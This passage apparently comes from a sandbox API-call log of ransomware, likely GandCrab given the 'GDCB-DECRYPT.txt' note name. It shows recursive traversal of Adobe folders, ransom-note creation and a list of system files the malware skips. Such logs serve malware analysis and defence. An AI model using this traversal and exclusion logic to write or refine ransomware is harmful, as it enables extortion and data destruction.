lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.200] FindNextFileW (in: hFindFile=0x5dd090, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.200] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.200] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.200] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.200] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 194 [0170.200] FindNextFileW (in: hFindFile=0x5dd090, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.200] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.200] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.200] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.200] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 202 [0170.200] FindNextFileW (in: hFindFile=0x5dd090, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.200] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.201] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.201] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.201] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 203 [0170.201] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.201] FindNextFileW (in: hFindFile=0x5dd090, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.201] FindClose (in: hFindFile=0x5dd090 | out: hFindFile=0x5dd090) returned 1 [0170.201] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.201] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 204 [0170.201] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.202] GetLastError () returned 0x50 [0170.202] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.202] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 187 [0170.202] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.202] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0x5dd1d0 [0170.203] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.203] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.203] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.203] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.203] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.203] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.203] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.203] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.203] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.203] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 194 [0170.203] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 194 [0170.203] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.203] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.203] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.203] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.203] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.203] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.203] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 202 [0170.203] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 202 [0170.203] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.203] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 1 [0170.203] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.203] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.203] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.203] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.204] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 203 [0170.204] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 203 [0170.204] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 203 [0170.204] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 203 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.204] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.204] FindNextFileW (in: hFindFile=0x5dd1d0, lpFindFileData=0x285d6c8 | out: lpFindFileData=0x285d6c8) returned 0 [0170.204] FindClose (in: hFindFile=0x5dd1d0 | out: hFindFile=0x5dd1d0) returned 1 [0170.204] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 1 [0170.204] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.204] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.204] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.204] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.204] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 196 [0170.204] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 196 [0170.204] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 196 [0170.204] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 196 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.204] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.205] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.205] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0 [0170.205] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.205] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.205] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.205] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.205] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.205] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.205] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.205] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.205] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.205] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 188 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.205] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.205] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.205] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0 [0170.205] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.206] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.206] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.206] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.206] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.206] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.206] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 185 [0170.206] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 185 [0170.206] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 185 [0170.206] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 185 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.206] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.206] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.206] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0 [0170.206] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.206] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.206] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0170.206] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0170.206] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color" [0170.206] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\" [0170.206] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.206] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.206] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.207] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.207] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.207] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.207] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\") returned 167 [0170.207] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*" [0170.207] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.207] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.207] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.207] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.207] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.207] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.207] lstrcmpW (lpString1="ACECache11.lst", lpString2=".") returned 1 [0170.207] lstrcmpW (lpString1="ACECache11.lst", lpString2="..") returned 1 [0170.207] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\", lpString2="ACECache11.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\ACECache11.lst" [0170.207] lstrlenW (lpString="C:\\Documents and 